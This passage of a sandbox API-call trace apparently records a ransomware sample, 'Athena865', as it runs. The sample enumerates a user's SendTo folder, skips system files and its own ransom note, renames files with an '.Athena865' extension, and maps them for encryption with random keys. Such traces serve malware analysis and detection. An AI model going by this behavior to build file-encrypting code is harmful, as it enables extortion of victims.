ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d828fa3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2=".") returned 1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="..") returned 1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="windows") returned -1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgr") returned 1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="temp") returned -1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="pagefile.sys") returned -1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="boot") returned 1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="ids.txt") returned -1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="ntuser.dat") returned -1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="perflogs") returned -1 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2="MSBuild") returned -1 [0053.237] lstrlenW (lpString="Desktop.ini") returned 11 [0053.237] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini" [0053.237] lstrlenW (lpString="Desktop.ini") returned 11 [0053.237] lstrlenW (lpString="Athena865") returned 9 [0053.237] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.237] lstrlenW (lpString=".dll") returned 4 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2=".dll") returned 1 [0053.237] lstrlenW (lpString=".lnk") returned 4 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2=".lnk") returned 1 [0053.237] lstrlenW (lpString=".ini") returned 4 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2=".ini") returned 1 [0053.237] lstrlenW (lpString=".sys") returned 4 [0053.237] lstrcmpiW (lpString1="Desktop.ini", lpString2=".sys") returned 1 [0053.237] lstrlenW (lpString="Desktop.ini") returned 11 [0053.237] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop.ini.Athena865") returned 75 [0053.237] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.238] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.238] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=558) returned 1 [0053.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.239] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.239] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.239] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.240] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x154 [0053.242] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x100000 [0053.242] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.243] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.243] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.244] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.244] CloseHandle (hObject=0x154) returned 1 [0053.244] CloseHandle (hObject=0x17c) returned 1 [0053.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.244] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents.mydocs", cAlternateFileName="DOCUME~1.MYD")) returned 1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".") returned 1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="..") returned 1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="windows") returned -1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="bootmgr") returned 1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="temp") returned -1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="pagefile.sys") returned -1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="boot") returned 1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="ids.txt") returned -1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="ntuser.dat") returned -1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="perflogs") returned -1 [0053.244] lstrcmpiW (lpString1="Documents.mydocs", lpString2="MSBuild") returned -1 [0053.245] lstrlenW (lpString="Documents.mydocs") returned 16 [0053.245] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Documents.mydocs" | out: lpString1="Documents.mydocs") returned="Documents.mydocs" [0053.245] lstrlenW (lpString="Documents.mydocs") returned 16 [0053.245] lstrlenW (lpString="Athena865") returned 9 [0053.245] lstrcmpiW (lpString1="ts.mydocs", lpString2="Athena865") returned 1 [0053.245] lstrlenW (lpString=".dll") returned 4 [0053.245] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".dll") returned 1 [0053.245] lstrlenW (lpString=".lnk") returned 4 [0053.245] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".lnk") returned 1 [0053.245] lstrlenW (lpString=".ini") returned 4 [0053.245] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".ini") returned 1 [0053.245] lstrlenW (lpString=".sys") returned 4 [0053.245] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".sys") returned 1 [0053.245] lstrlenW (lpString="Documents.mydocs") returned 16 [0053.245] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Documents.mydocs.Athena865") returned 80 [0053.245] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Documents.mydocs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\documents.mydocs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Documents.mydocs.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\documents.mydocs.athena865"), dwFlags=0x1) returned 1 [0053.246] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Documents.mydocs.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\documents.mydocs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.246] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=0) returned 1 [0053.246] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Documents.mydocs.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\documents.mydocs.athena865"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Documents.mydocs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\documents.mydocs"), dwFlags=0x1) returned 0 [0053.246] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0053.246] CloseHandle (hObject=0x0) returned 0 [0053.246] CloseHandle (hObject=0x17c) returned 1 [0053.246] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d802e42, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fax Recipient.lnk", cAlternateFileName="FAXREC~1.LNK")) returned 1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".") returned 1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="..") returned 1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="windows") returned -1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="bootmgr") returned 1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="temp") returned -1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="pagefile.sys") returned -1 [0053.246] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="boot") returned 1 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="ids.txt") returned -1 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="ntuser.dat") returned -1 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="perflogs") returned -1 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="MSBuild") returned -1 [0053.247] lstrlenW (lpString="Fax Recipient.lnk") returned 17 [0053.247] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Fax Recipient.lnk" | out: lpString1="Fax Recipient.lnk") returned="Fax Recipient.lnk" [0053.247] lstrlenW (lpString="Fax Recipient.lnk") returned 17 [0053.247] lstrlenW (lpString="Athena865") returned 9 [0053.247] lstrcmpiW (lpString1="pient.lnk", lpString2="Athena865") returned 1 [0053.247] lstrlenW (lpString=".dll") returned 4 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".dll") returned 1 [0053.247] lstrlenW (lpString=".lnk") returned 4 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".lnk") returned 1 [0053.247] lstrlenW (lpString=".ini") returned 4 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".ini") returned 1 [0053.247] lstrlenW (lpString=".sys") returned 4 [0053.247] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".sys") returned 1 [0053.247] lstrlenW (lpString="Fax Recipient.lnk") returned 17 [0053.247] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Fax Recipient.lnk.Athena865") returned 81 [0053.247] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Fax Recipient.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\fax recipient.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Fax Recipient.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\fax recipient.lnk.athena865"), dwFlags=0x1) returned 1 [0053.248] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Fax Recipient.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\fax recipient.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.248] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1238) returned 1 [0053.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.248] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.249] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.249] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.249] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e0, lpName=0x0) returned 0x154 [0053.251] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e0) returned 0x100000 [0053.252] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.253] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.253] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.253] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.253] CloseHandle (hObject=0x154) returned 1 [0053.253] CloseHandle (hObject=0x17c) returned 1 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.254] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcef6180, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.254] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.254] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb9ed75, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".") returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="..") returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="windows") returned -1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="bootmgr") returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="temp") returned -1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="pagefile.sys") returned -1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="boot") returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="ids.txt") returned 1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="ntuser.dat") returned -1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="perflogs") returned -1 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="MSBuild") returned -1 [0053.254] lstrlenW (lpString="Mail Recipient.MAPIMail") returned 23 [0053.254] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Mail Recipient.MAPIMail" | out: lpString1="Mail Recipient.MAPIMail") returned="Mail Recipient.MAPIMail" [0053.254] lstrlenW (lpString="Mail Recipient.MAPIMail") returned 23 [0053.254] lstrlenW (lpString="Athena865") returned 9 [0053.254] lstrcmpiW (lpString1=".MAPIMail", lpString2="Athena865") returned -1 [0053.254] lstrlenW (lpString=".dll") returned 4 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".dll") returned 1 [0053.254] lstrlenW (lpString=".lnk") returned 4 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".lnk") returned 1 [0053.254] lstrlenW (lpString=".ini") returned 4 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".ini") returned 1 [0053.254] lstrlenW (lpString=".sys") returned 4 [0053.254] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".sys") returned 1 [0053.255] lstrlenW (lpString="Mail Recipient.MAPIMail") returned 23 [0053.255] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Mail Recipient.MAPIMail.Athena865") returned 87 [0053.255] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Mail Recipient.MAPIMail.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\mail recipient.mapimail.athena865"), dwFlags=0x1) returned 1 [0053.255] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Mail Recipient.MAPIMail.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\mail recipient.mapimail.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.256] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4) returned 1 [0053.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.256] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.257] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.257] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.257] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x154 [0053.259] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000 [0053.259] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.260] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.260] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.262] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.262] CloseHandle (hObject=0x154) returned 1 [0053.262] CloseHandle (hObject=0x17c) returned 1 [0053.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.262] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb9ed75, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 0 [0053.262] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.262] ReleaseMutex (hMutex=0xec) returned 1 [0053.262] CloseHandle (hObject=0xec) returned 1 [0053.263] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0053.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501aa8 | out: hHeap=0x4f0000) returned 1 [0053.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5c0 | out: hHeap=0x4f0000) returned 1 [0053.263] lstrlenW (lpString="C:\\Documents and 